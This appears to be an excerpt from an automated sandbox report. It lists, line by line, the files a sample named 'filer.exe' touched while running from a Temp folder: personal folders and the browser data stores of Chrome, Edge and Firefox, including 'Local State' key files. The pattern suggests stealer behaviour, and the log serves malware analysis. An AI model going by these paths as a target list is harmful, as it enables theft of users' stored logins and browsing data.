Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\WSHEJMDVQC VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\QFAPOWPAFG VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\WSHEJMDVQC VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Videos VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-jones VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-jones\jones VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-jones\jones\Epic Games VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Pictures\Camera Roll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Pictures\Camera Roll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\OneDrive VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Desktop VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Downloads VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Documents VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Videos VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Documents VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Documents\My Music VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Documents\My Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Pictures\Saved Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Music VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Pictures\Saved Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\OneDrive VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\Music VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\OneDrive VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\bookmarkbackups VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\events VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\tmp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\minidumps VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\security_state VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\default VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\temporary VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\to-be-removed VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
